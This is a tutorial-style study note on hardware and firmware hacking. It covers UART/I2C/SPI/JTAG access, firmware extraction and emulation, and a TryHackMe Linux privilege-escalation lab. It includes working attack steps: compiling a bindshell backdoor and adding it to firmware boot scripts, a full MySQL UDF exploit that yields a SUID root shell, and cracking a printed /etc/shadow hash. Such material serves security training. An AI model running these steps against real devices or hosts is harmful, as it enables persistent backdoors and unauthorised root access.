See discussions, stats, and author profiles for this publication at: https://www.researchgate.

net/publication/377751344

Hardware hacking basic

Article · January 2024

CITATIONS READS

0 200

1 author:

Prasnjit Sharma
Sri Ramakrishna Engineering College
6 PUBLICATIONS 10 CITATIONS

SEE PROFILE

All content following this page was uploaded by Prasnjit Sharma on 28 January 2024.

The user has requested enhancement of the downloaded file.

 Analyzing UART
1. UART internals
• Designed for two different components on a device to talk to each other
• Microcontroller chip in devices typically have UART pins
• UART is a way of serial communication.
• Common serial channels (TTL, RS232, USB, PCI, HDMI, SPI, I2C, CAN)
o TTL interface has 3-5 pins
o RS-232 interface has a 9-pin connector, etc.
• These interfaces are also used for debugging (testing connections) the device
• UART Data packet
o starting bit (usually 0)
o message (any 8-bits)
o parity bit (not used)
o stop bit (usually 1)
• UART Data packet format (usual configuration)
o 8N1 — which means 8 message bits, no parity bit, and 1 stop bit
• UART Port type
o hardware-based or software-based
o when there is not enough UART ports on chipset
▪ UART is emulated via GPIO (means software UART)
▪ it is a rare situation

2. Pentest objectives
• Access debug logs that usually contain a booting sequence
• (might) allow bootloader access while the device is booting
• (might) provide unauthenticated root shell (console access)
• (might) provide loading firmware over the network.
• and more
• Custom bootloaders are designed to prevent from entering single user mode
o but that can also be bypassed.

3. Tools
• Multimeter
• Logic analyzer (for analyzing data packet)
o Saleae Logic Analyzer (or)
o Open Workbench Logic Sniffer
• UART Converter/Adapter (any supported FTDI based hardware)
o USB-TTL (or)
o BusPriate (or)
o Attify Badge
o baudrate.py
• Communication
o minicom (or)
o screen (or)
o Attify Badge GUI
4. Identify UART pinouts
• Look for the shape online to learn
• Visual inspection of the internal device components
o looking for 3/4 pins or pads close to each other
o rarely scattered across the board
• UART pins

PIN FUNCTION
TRANSMIT (TX) Transmits data from the device to the target
RECEIVE (RX) Receives data from the target to the device
GROUND (GND) Ground
VOLTAGE (VCC) Usually either 3.3V or 5V

• Chipset will have instructions on the connectors, otherwise use a

• Multimeter
o continuity test (for GND)
▪ make sure the device is turned off
▪ set the pointer to continuity
▪ place the black probe on a ground surface (any metal part on device)
▪ place the red probe on each of the four pads one by one
▪ the pin is giving the beep sound is the GND
o voltage difference (for the Tx, Rx, Vcc)
▪ set the pointer to V-20
▪ place the black probe to GND
▪ turn device on
▪ place the red probe over other pins
▪ constant high voltage is our Vcc pin
▪ reboot the device
▪ place the red probe over the other pins
▪ huge fluctuation in the voltage value is Tx pin
▪ during the initial 10–15 seconds
▪ lowest voltage during entire process is Rx
• Confirm the findings by hooking up a logic analyzer

5. Connecting UART
• A converter device for emulating a serial connection
o to communicate two devices over UART/JTAG/I2C,SPI,GPIO
o USB-TTL or BusPriate or Attify Badge
• A proper voltage converter
o i.e. when using a 3.3v serial device to a 5v serial device
o serial connection emulators have built-in
• Adapter (Attify Badge) pin layout

Pin Function
D0 Tx Transmit
D1 Rx Receive

• Connect the EEPROM pins to the adapter (Attify Badge) by using jumper
wires
 UART ADAPTER
TX Rx
RX Tx
GND GND
VCC is NOT connected

• Connect the adapter to the analysis PC via USB

o learn the mount point under /dev
o by default mounted on COM port /dev/USB0

6. Command shell
• Baud rate specifies the number of bits transmitted per second
o data being transferred between devices = data rate
• Identify the baud rate of the device
o common rates: 9600, 38400, 19200, 57600, and 115200
o otherwise, find it by trial and error

baudrate.py

o change baud rates while establishing a serial connection

o visually inspect which baud rate gives the readable output
o after detecting correct baud rate press Ctrl + C
• Interacting with console
o screen < mount point > < baud rate >

screen /dev/ttyUSB0 38400

o reboot the device

o access debug logs of the device booting up process
o right after booting, “busybox” is up
o unauthenticated root shell on the device
 Firmware Reversing Methodology
1. Pentest objectives
• Sensitive data exposure
• Update the mechanism to capture firmware.
• Local data storage
• Vulnerabilities (i.e., buffer overflow) to bypass authentication and (i.e. command injection) to
RCE
• Security configuration

2. Tools
• Binwalk firmware analysis tool
o Binwalk is an open-source tool for extracting, analyzing, and reverse-engineering
firmware images
o It scans the image for known file-type signatures
▪ compressed streams
▪ embedded file systems
o Most tools depend on binwalk
• OFRAK (Open Firmware Reverse Analysis Konsole)
• Firmware Analysis Toolkit
• Automated scanner
• Firmwalker
• Binary Analysis Next Generation
• Firmadyne
• Firmware Analysis Comparison Toolkit
• Firmware mod kit
• Angr binary analysis framework
• Frida
• Radare2
• QEMU

3. Firmware update
• Four techniques are common to get firmware
o download the corresponding version of the firmware from the device
manufacturer’s website
o search in Google and check it out in GitHub
o sniff the OTA (over-the-air) to get the firmware binary while the device is
performing an update
o reverse the mobile app to understand how to get the firmware binary
o and dump the firmware from the device’s UART or JTAG or flash chip
• An attacker could intercept firmware when it is downloaded for updating device
o Unencrypted HTTP traffic is intercepted via a transparent proxy (Burp Suite)
o HTTPS traffic can be captured only if it is possible to MitM (arpspoof + mitmproxy +
Burp)
• Firstly, all states that trigger OTA update for device/hub firmware is identified
o In general, device firmware is updated via mobile app
▪ in this case the traffic between smartphone and cloud service is
intercepted
 o In addition, hub can trigger OTA update either for itself or for the device
▪ in this case the traffic between hub and cloud service is intercepted
o Moreover, a local update (rather than OTA) via an SD card sometimes is available
▪ this vulnerability is related to attack surface of device physical interface
• If the vendor only transmits update partition,
o although full-firmware is not obtained,
o most probably sensitive data can be accessed
o this will affect severity to a lower level
• Reference
1. https://resources.sei.cmu.edu/library/asset-view.cfm?assetID=453871

4. Firmware file analysis

• A standard firmware binary image has four parts. Respectively,
o bin header
o firmware header
o compressed data
o file system
• More precisely,
o a bootloader (i.e. U-Boot, Barebox, RedBoot)
o kernel
o some kind of compressed data (i.e. LZMA, Gzip, zip, zlib)
o a file system (i.e. Squash FS, Cramfs, JFFS2, YAFFS2, ext2)
• The root folder in file system contains
o all binaries
o scripts and source code
o configurations
o and data (credentials, ssh keys, etc.)
o NOTE: The root folder might have additional file system images inside

5. Filesystem extraction
• Method 1 - Binwalk (automated)
• binwalk -t <firmware-image>
• binwalk -e <firmware-image>
• Method 2 - Firmware mod kit
o set BINWALK in shared-ng.config to the path of binwalk
o copy the firmware inside the firmware-mod-kit/ directory
./extract-firmware.sh <firmware-image-file>
• If binwalk cannot decompress the filesystem using the -e switch, try other alternatives
o Try specific tools, i.e. unsquashfs
o Sometimes files are not stored in a file system but exist as a plain flash binary file
o Firmware may be a proprietary with a modified and unknown file system and
sections
▪ when binwalk generates false positives
▪ manually extract using binwalk (help binwalk by tuning parameters)
o The firmware may be encrypted, confirm this with entropy analysis
▪ when binwalk fails to identify any specific section
binwalk -E <firmware-image>
▪ high entropy with a bit of variation indicates compression
▪ high entropy with flat line indicates encrypted content
▪ need to identify the encryption method and keys
▪ XOR encryption
▪ key is identified by recurring strings
cat encrypted.bin | python decryptxor.py > decrypted.bin
o If it is not possible to extract data, try hardware-based extraction
▪ https://www.youtube.com/watch?v=0G2g-tLMK70

6. Filesystem analysis
• Search for “sensitive” data from firmware
o Hard-coded credentials
▪ that users are unable to change
o Default credentials
▪ that users rarely change
o Backdoor access credentials
▪ that is designed to be used for customer support
o Hash and private certificates
o Encryption algorithms with keys
o API keys and access tokens
o Update or staging URLs
o Local path names and environment details
o Authentication and Authorization mechanisms
o Replace user/password and/or create new password
• Sample search queries
grep -inr 'telnet'
firmware-analysis-toolki/firmwalker.sh <firmware-root-dir>

7. Static binary analysis

• Reversing libraries usually helps to find sensitive data
• radare2 -a mips -b32 libdbox.so
• aaa
• afl
o grep for interesting strings
o afl~wifi
o afl~gen
o afl~get
• Disassembly of sensitive functions helps to identify certain vulnerabilities
o command injection
▪ use of unsanitized input may result in OS command execution
o buffer overflow
▪ use of insecure string handling functions such as strcpy, strcat, etc.,
▪ instead of their more secure strncpy, strncat counterparts,
▪ may result in buffer overflows

8. Dynamic binary analysis

• Debug individual binaries in firmware to see if there are any vulnerabilities
• Binary emulation
o Get binary architecture (ARM, MIPS, PowerPC)
readelf -f <binary>
o Need to emulate binaries to run it in our analysis machine
▪ install qemu (on our analysis box)
▪ copy qemu binary to the root folder of the firmware filesystem
▪ qemu version should be compatible with the binary architecture
▪ for example MIPS
 ▪ which qemu-mipsel-static
▪ cp /usr/bin/qemu-mipsel-static .
o Emulate binary (wrong way)
./qemu-mipsel-static ./bin/<individual binary>
▪ will not run, because
▪ qemu tries to load required libraries from /lib directory of host
▪ but cannot find
▪ we need to say qemu to look for from /lib of firmware filesystem
▪ we need to change the working directory path in runtime via chown
▪ chown firmware-fs-root-dir/ ./qemu-mipsel-static ./bin/<individual binary>
o Emulate binary (correct way)
chown . ./qemu-mipsel-static ./bin/<individual binary>
• Firmware emulation
o Advantages
▪ to access all the individual binaries in the firmware image
▪ to hook a debugger to any specific binary and perform vulnerability
research
▪ to perform remote exploitation research
▪ to perform network pentest on the firmware
▪ to perform web application pentest on the firmware
o Challenges
▪ firmware is designed to run on another architecture bypass with QEMU
▪ bootup process might require configurations and additional information
from NVRAM
▪ hook all the calls being made by the firmware to NVRAM and can fake the
return values
▪ firmware might be dependent on physical hardware components to run
no solution
o Full emulation
▪ Firmware Analysis Toolkit (FAT) based on Firmadyne
▪ an interactive script
▪ asks password which is firmadyne
▪ sets up a network access
▪ then runs the firmware
▪ now the network services on firmware is accessible via the
assigned IP
▪ copy the firmware in firmware-analysis-toolkit/
▪ in firmadyne.config file set FIRMWARE_DIR to firmware-analysis-
toolkit/python fat.py

9. Firmware backdooring (Modifying sensitive data)

• Extract filesystem on firmware
• Develop a backdoor (by Osanda Malith, @OsandaMalith) and compile it to run on specific
architecture (i.e. MIPS)
o backdoor opens a port and connects it to a binary allowing to execute commands
when interacting service
o compile programs for a different architecture than your analysis machine
▪ cross-compiling toolchain BuildRoot
▪ install BuildRoot
▪ make menuconfig
▪ navigate to the Target Options and change the Target Architecture
▪ navigate to the Toolchain, select_ Build Cross GDB for Host_
▪ save configuration
▪ make
 ▪ compile bindshell.c with the GCC for MIPS, which was created by BuildRoot
./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static - o bindshell
▪ bindshell can be executed on MIPS now
▪ Modify an .sh file in /etc/init.d/ to place the backdoor path so it could be
started automatically at bootup
▪ Recompile the firmware
firmware-mod-kit/build-firmware.sh <firmware-root-dir>/ -nopad -min
o produces new-firmware.bin file
o Then modified firmware is flashed to device
o test it by emulation before flashing
o python fat.py
o nc <emulated-IP> <backdoor-port>

10. Firmware diffing (bindiff)

 Analyzing I2C (Inter-Integrated Circuit)
1. I2C protocol internals
• Bus protocols designed for data communications between different components in an
embedded device
• Common modules having bus protocol
o Flash chip
o EEPROM chip
o Microcontrollers
o LCD
o RTC (Real Time Clocks)
o Analog to Digital Convertors (ADC)
o etc.
• I2C and SPI are both meant for communicating with other peripherals located on the same
board
• UART limitations compared to I2C
o facilitating communication between only two devices at a given time
o start-stop bits increase size and reduce speed of process
o originally intended for communication for large distances,
▪ while interacting with external devices via cables
• Multi-master serial protocol (with multi-slaves)
• Half-duplex (send or receive) (read or write)
• Consists of 2 pins for data transfer
o Serial Data (SDA) and Serial Clock (SCL)
• If 2 masters wanted to take control over an I2C bus at the same time?
o Whichever master pulls the SDA to LOW (0) will gain control of the bus
o i.e. zero rushes to win

2. Pentest objectives
• Read (dump) contents (firmware and sensitive data) from a device’s flash chip
• Write (flash) content (such as backdoor firmware image) to the flash chip

3. Tools
• I2C Converter/Adapter (any supported FTDI based hardware)
o USB-TTL (or)
o BusPriate (or)
o Attify Badge
• i2ceeprom.py

4. Identify the I2C pinouts

• Open the device
• Visually identify the I2C EEPROM chip on the PCB
• Note the component number printed on the I2C chip
• Look up online for the datasheet to figure out the pinouts of EEPROM
• Flash and EEPROM have common pinouts but sometimes changes according to the
manufacturers
 o Flash pinouts
▪ #CS, SO/IO1, SI/IO0, VSS, VCC
o EEPROM pinouts
▪ #CS, SCK, MISO, MOSI, GND, VCC, #WP, #HOLD

5. Connecting EEPROM
• Method 1: SOIC clip
o directly connect it to the adapter by holding the EEPROM using a SOIC clip
• Method 2: Desoldering
o remove the EEPROM from the PCB by de-soldering
o solder it on a EEPROM adapter (or reader)
▪ use an adapter which is suitable for EEPROM packaging type
• SOIC clip vs desoldering
o The memory component on the PCB is accessed using the SOIC clip or by
desoldering.
o Although the SOIC clip approach is more practical and less invasive,
▪ desoldering is sometimes unavoidable.
o The voltage supplied to the memory through the SOIC clip sometimes also powers
other chips.
o Some of the other components on the PCB may attempt to communicate with the
memory,
▪ thus blocking communication between the memory and the external
adapter.
o Therefore, it becomes imperative to remove the memory component from the PCB.
• Adapter (Attify Badge) pin layout

D0 SCK Serial Clock

D1 SDA* Serial Data
D2 SDA* Serial Data

• Note: For I2C, the D1 and D2 lines need to be connected together for SDA.
• Connect the EEPROM pins to the adapter (Attify Badge)

EEPROM ADAPTER
A0, A1, A2, GND GND
VCC 5V
WP 5V (Write Protect)
SDA D1 and D2 of Attify badge
CLK D0 of Attify badge

• Connect the adapter to the analysis PC via USB

6. Reading data
• Read data from the device using an I2C EEPROM
• Use the i2ceeprom.py script
• Need to modify parameters (size and speed) before start

EEPROM.START() TO START THE I2C CLOCK

START initialize the EEPROM
EEPROM.WRITE(RCMD) set EEPROM to Read mode
 DATA() start reading content from the EEPROM and saving it
STOP() CLOSE() stop and we close the I2C connection
WRITE() write the content to a binary file

• Dump the contents to a file

7. Writing data
• Write data to the I2C EEPROM
• Use the i2ceeprom.py script
Analyzing SPI (Serial Peripheral Interface)
1. SPI protocol internals
• Designed for synchronous serial communication between the master and slave devices
• Master controls the clock for all the slaves
o fastest serial clock speed in SPI is half the speed of the master clock
• SPI (Serial Peripheral Interface) implementation standard is not strict
o manufacturers design as their wish
• Need to look up the datasheet to understand SPI implementation protocol
• SPI advantages
o Speed is not limited (has faster data transmission rates compared to I2C)
o Full-duplex (both read and write data happens at the same time)
• SPI downside
o Single master protocol
o Consists of 3 pins for data transfer and one pin for Chip/Slave select
▪ increases the overall requirement of space compared to I2C
▪ when there is no data to read, when there is a write request,
▪ the slave should send dummy data to make the connection
established

2. Pentest objectives
• Get console access
o custom bootloaders are designed to prevent from entering single user mode
o but that can also be bypassed

3. Tools
• SPI Converter/Adapter (any supported FTDI based hardware)
o USB-TTL (or)
o BusPriate (or)
o Attify Badge
• spiflash.py

4. Identify the SPI Flash pinouts

• Open the device
• Visually identify the SPI flash chip on the PCB
• Note the component number printed on the SPI chip
• Look up online for the datasheet to figure out the pinouts
• SPI pins

SCK SERIAL CLOCK

MOSI Master Out Slave In
MISO Master In Slave Out
SS—SLAVE SELECT (Active Low, output from master)

• SCK, MISO, and MOSI pins are shared by slaves

 • Each SPI slave will have its own unique SS pin
• Master have several SS pins (SS1, SS2, …)
• Mater-slave connection table

SPI MASTER SPI SLAVE

SCK SCK
MOSI MOSI
MISO MISO
SS1 SS

• Master configures the clock frequency according to the slave’s clock frequency
• Master selects the slave device with a logic level 0 on the SS pin
• Master initiates the communication by sending a bit on the MOSI line
o which is read by the slave
o whereas the slave sends a bit on the MISO line which is read by the master

5. Connecting EEPROM
• Method 1: Hooking
o hook mini probes to the SPI flash
• Method 2: SOIC clip
o use a SOIC clip
• Method 3: Desoldering
o remove SPI flash the from the PCB by de-soldering
o solder it on a EEPROM adapter (or reader)
▪ use an adapter which is suitable for EEPROM packaging type
• Adapter (Attify Badge) pin layout

D0 SCK Serial Clock

D1 MISO Master In Slave Out
D2 MOSI Master Out Slave In
D3 CS Chip Select

• Connect the SPI flash pins to the adapter (Attify Badge)

SPI FLASH ADAPTER

CLK TCK (D0)
MOSI/DO TDI (D1)
MISO/DI TDO (D2)
CS TMS (D3)
WP, HOLD, AND VCC 3.3V
GND GND

• Connect the adapter to the analysis PC via USB

6. Reading data
• Read data from the device using an SPI flash
• Use the spiflash.py script
• /libmpsse
• ./configure
 • make
• make install
• spiflash.py -s 5120000 --read=new.bin

• Dump the contents to a file

7. Writing data
• Write data to the SPI flash
• Use the spiflash.py script

spiflash.py -s 5120000 -w new.bin

 Analyzing JTAG
1. JTAG Internals
• JTAG is a hardware (debug) interface that communicates directly with the microcontroller
o If the IoT device is not running a full-fledged OS or
o the hardware does not provide a serial interface,
o a lower-level debug approach, JTAG, is usually available
• JTAG is a standard way of testing and debugging chips on the device
o identifying manufacturing defects
▪ identifying faulty components
▪ missing components in a PCB
▪ unconnected pins or incorrect placement of the device
o device failure conditions
o accessing individual pin values on each chip
o overall system testing
o debugging the various chips (actually running binaries or firmware)
• JTAG is not exactly a communication protocol
• Access instructions are found on the chip or on the microcontroller
specification
• Operation mechanism
o Testing technique is known as Boundary Scan
▪ sends a data into one of the chips
▪ compares the output to the input
▪ verifies if it is OK
o Boundary Scan cells embedded into the chips itself (near each pin)
o Boundary Scan description language file
▪ defines the capabilities of any single device’s Boundary Scan logic
o Boundary Scan instructions
▪ BYPASS
▪ SAMPLE/PRELOAD
▪ EXTEST
o TAP pins
▪ TAP is a collective name given to the JTAG interfaces on a device
▪ Test Clock (TCK)
▪ Test Data In (TDI)
▪ Test Data Out (TDO)
▪ Test Mode Select (TMS)
▪ Test Reset (TRST, optional)
o TAP controller machine
▪ consists of TCK, TMS, TRST
▪ manages the overall exchange of data and instructions
o I/O pins of the device
▪ are connected serially that form a chain
▪ accessed by the Test Access Port (TAP) for testing
o Testing (Boundary Scan) Process
▪ TAP controller applies test data on the TDI pins
▪ BSR (Boundary Scan Register) monitors the input to the device
▪ Data is captured by the Boundary Scan cell
▪ Data then goes in the device through the TDI pins
▪ Data comes out of the device through the TDO pins
▪ Tester verifies the data on the output pin of the device
2. Pentest objectives
• Bypass almost all software based security controls
o set breakpoints
o inspect/modify registers/memory/stack
o change binary/firmware execution flow
o inject code into the process memory
o bypass login
• Read from/write to flash chip
o if PCB has JTAG access available and
▪ contains an onboard flash chip, then the contents can be read/written via
JTAG
o dump firmware/bootloader
o write backdoored firmware
o flash modified firmware to device for bypassing restrictions
• Debug interfaces sometimes deactivated intentionally for security purposes
o either by software or hardware

3. Tools
• JTAG pinout identifier
o JTAGulator (or)
o JTAGEnum Arduino
• Communication
o minicom (or)
o screen (or)
o Attify Badge GUI
• JTAG Converter/Adapter (any supported FTDI based hardware)
o USB-TTL (or)
o BusPriate (or)
o Attify Badge (or)
o Segger J-Link
• OpenOCD
• GDB-Multiarch

4. Identify JTAG pinouts

• Look JTAG pinouts up online to learn appearance
o instead of pins or pads with holes, PCB usually have plain pads for JTAG
o therefore soldering experience is needed
▪ to gain experience practice on Raspberry Pi or Intel Galileo
• Open the device
• Identify the JTAG pads on the PCB

TCK TEST CLOCK

TDI Test Data In
TDO Test Data Out
TMS Test Mode Select

• Method1: JTAGulator
o open-source hardware
o has 24 I/O channels
o discovers JTAG and UART pinouts
 o screen or minicom is used for interaction
o connect relevant pins on target device to the JTAGulator channels
o connect GND to GND
o run a screen with the baudrate (need to identify before)

screen /dev/ttyUSB0 115200

o on the command line

▪ enter V to set voltage (i.e 3.3)
▪ enter B to set number of channels for BYPASS scan instruction
o JTAGulator identifies corresponding pinouts
• Method2: Arduino flashed with JTAGEnum
o much cheaper and slower
o discovers only JTAG pinouts
o Arduiono IDE
▪ paste JTAGEnum application code
▪ select port and Arduino type from menu options
▪ upload
o interact with Arduino via a serial connection
▪ Serial Monitor of Arduino IDE or
▪ screen or
▪ minicom
o on the command line
▪ enter s to start scanning
o JTAGEnum identifies corresponding pinouts

5. Connecting JTAG
• OpenOCD
o open-source software
o to perform On Chip Debugging via JTAG
o interacts with a hardware debugger’s JTAG port
▪ debug chips
▪ set breakpoints
▪ program and interact flash chips
▪ dump firmware and sensitive data
• Adapter (Attify Badge) pin layout

D0 TCK Test Clock

D1 TDI Test Data In
D2 TDO Test Data Out
D3 TMS Test Mode Select

• Connect the JTAG pins to the adapter (Attify Badge)

JTAG ADAPTER
CLK TCK (D0)
TDI TDI (D1)
TDO TDO (D2)
TMS TMS (D3)

o NOTE: The pins functioning as CLK, TDI, TDO, and TMS differs
 ▪ based on the processor or controller of the target device.
▪ Need to review datasheet
o find the OpenOCD configuration file for the adapter (Attify Badge JTAG)
▪ badge.cfg is available
o find the configuration file for the device
▪ check if the target device’s TAP controller is supported by
OpenOCD

ls openocs/tcl/<target>

▪ if it does not exists, manually create one for it

• openocd –c "telnet_port 2121" –f badge.cfg –f target.cfg
•
• telnet localhost 2121
• reset init
• flash banks
• halt

6. Read data
• Read data over JTAG
• Method 1
• flash banks
• dump_image firmware.bin 0x08000000 0x00010000
• flash banks

• Method 2

mwd 0x00 0x20

7. Write data to target

• Write data over JTAG
• flash banks
• flash write_image erase firmware.bin 0x08000000
• flash banks

8. Debugging with GDB

gdb-multiarch program.bin
set architecture arm
target remote localhost:3333

• hbreak < function-name >

• continue standard binary reversing7
Firmware extraction from eMMC
Method 1: eMMC tapping
• Identify a pinout for an embedded Multi Media Card (eMMC) flash chip (embedded SD card)
• Dump the contents of the chip without removing it from the PCB
• Similar to in situ reading (dumping firmware from running device)

Method 2: eMMC unsoldering

• Identify a pinout for an embedded Multi Media Card (eMMC) flash chip (embedded SD card)
• Unsolder (remove) eMMC from the PCB
• Plug-in eMMC to an adapter
• Dump the contents of the chip after

NOTE: These two methods are also applicable to SPI Flash

 Firmware Dumping
we are going to dump the router firmware and investigate it. first, we need to install some Software
and the router firmware.

Installing the Required Software

Each year, millions of home routers are sold to consumers; a large majority of them don’t even know
what’s running on them. Today we’re going to take a look. Before proceeding, we will need a few
tools:

Access to a Linux distribution (Or WSL) with strings and binwalk on it.

Linksys WRT1900ACS v2 Firmware found here: Github Link

Lastly, ensure binwalk has JFFS2 support with the following command:
sudo pip install cstruct;
git clone https://github.com/sviehb/jefferson;
cd jefferson && sudo python setup.py install
After you’ve got the tools, you’re ready to set up your workspace!
Rebuilding the Firmware
First, we’re going to clone the repository that holds the firmware:
git clone https://github.com/Sq00ky/Dumping-Router-Firmware-Image/ /opt/Dumping-
Router-Firmware && cd /opt/Dumping-Router-Firmware/
Next, we’re going to unzip the multipart zip file:
7z x ./FW_WRT1900ACSV2_2.0.3.201002_prod.zip
running ls you should see the firmware image:
FW_WRT1900ACSV2_2.0.3.201002_prod.img

From Firmware image file.

strings FW_WRT1900ACSV2_2.0.3.201002_prod.img | head

Get the router name :

Linksys WRT1900ACS Router
Router os Details:
Linux
option within Binwalk will allow us to extract files from the firmware image.
sudoudo binwalk -e FW_WRT1900ACSV2_2.0.3.201002_prod.img
we know how to extract the contents of the firmware image,

what was the first item extracted?

uImage header

The creation date?

2020-04-22 11:07:26

The Cyclical Redundancy Check is used similarly to file hashing to ensure that the file contents were
not corrupted and/or modified in transit.

CRC of the image?

0xFF40CAEC

What is the image size?

4229755 bytes

What architecture does the device run?

ARM
Researching the results to question 10, is that true?
Yes, it is true. Having the architecture can be very important to reverse engineering.
We can attempt to extract the data, but we won't get
anywhere. Binwalk misinterpreted the data. However,
we can still do some analysis of it.
The Linux kernel is included.What version is it?

3.10.3
sudo binwalk -e _FW_WRT1900ACSV2_2.0.3.201002_prod.img.extracted/6870

dd if=/opt/Dumping-Router-
Firmware/_FW_WRT1900ACSV2_2.0.3.201002_prod.img.extracted/600000.jffs2
of=/dev/mtdblock0
 Linux PrivEsc
For Linux privEsc we can prefer to tryhackme.com, this lab provide
hands on experience. The same activity can be done with hardware user
console. The exploit used for

Lab SetUp
Step1: Download openvpn
Step2: connect Openvpn with tryhack
me vm.

First download my configuration file. Open lab and start machine.

To connect with lab
sudo openvpn Prasnjit9988.ovpn
If getting erroer while connecting then ssh server might not started
sudo service ssh status
sudo service ssh start
port 22 in that system is blocked
sudo iptables -A INPUT -p tcp --dport ssh -j ACCEPT
To remote access of machine
sudo ssh [email protected]
Password password321

Services exploit
To check the services running with root access
$ ps aux | grep "^root"
The MySQL service is running as root and the "root" user for the service does not
have a password assigned. We can use a popular exploit that takes advantage of
User Defined Functions (UDFs) to run system commands as root via the MySQL
service.
Change into the /home/user/tools/mysql-udf directory:
cd /home/user/tools/mysql-udf
Compile the raptor_udf2.c exploit code using the following commands:
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -
lc
Connect to the MySQL service as the root user with a blank password:
mysql -u root
Execute the following commands on the MySQL shell to create a User Defined
Function (UDF) "do_system" using our compiled exploit:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-
udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
Exit out of the MySQL shell (type exit or \q and press Enter) and run the
/tmp/rootbash executable with -p to gain a shell running with root privileges:
/tmp/rootbash -p
Remember to remove the /tmp/rootbash executable and exit out of the root shell
before continuing as you will create this file again later in the room!
rm /tmp/rootbash
exit
 Weak File Permissions
- Readable /etc/shadow

- password cracking from hash file

The /etc/shadow file contains user password hashes and is usually readable only by the root
user. Copy the hash file and paste it in the text file.
$6$C92IlnRwkuXt15/w$pJhypmBJrer3hNpsSFuuGZeH9eI/tVTzYnqnfZNjgWawGKm5p
YmP/.TAhX5sYaiSKEzXURTWxdqxVZXBrrlGg1

Create a common password list and perform attack using the tool like
john --wordlist ./passlist.txt hash.txt

Here parrot is our password of root user.

View publication stats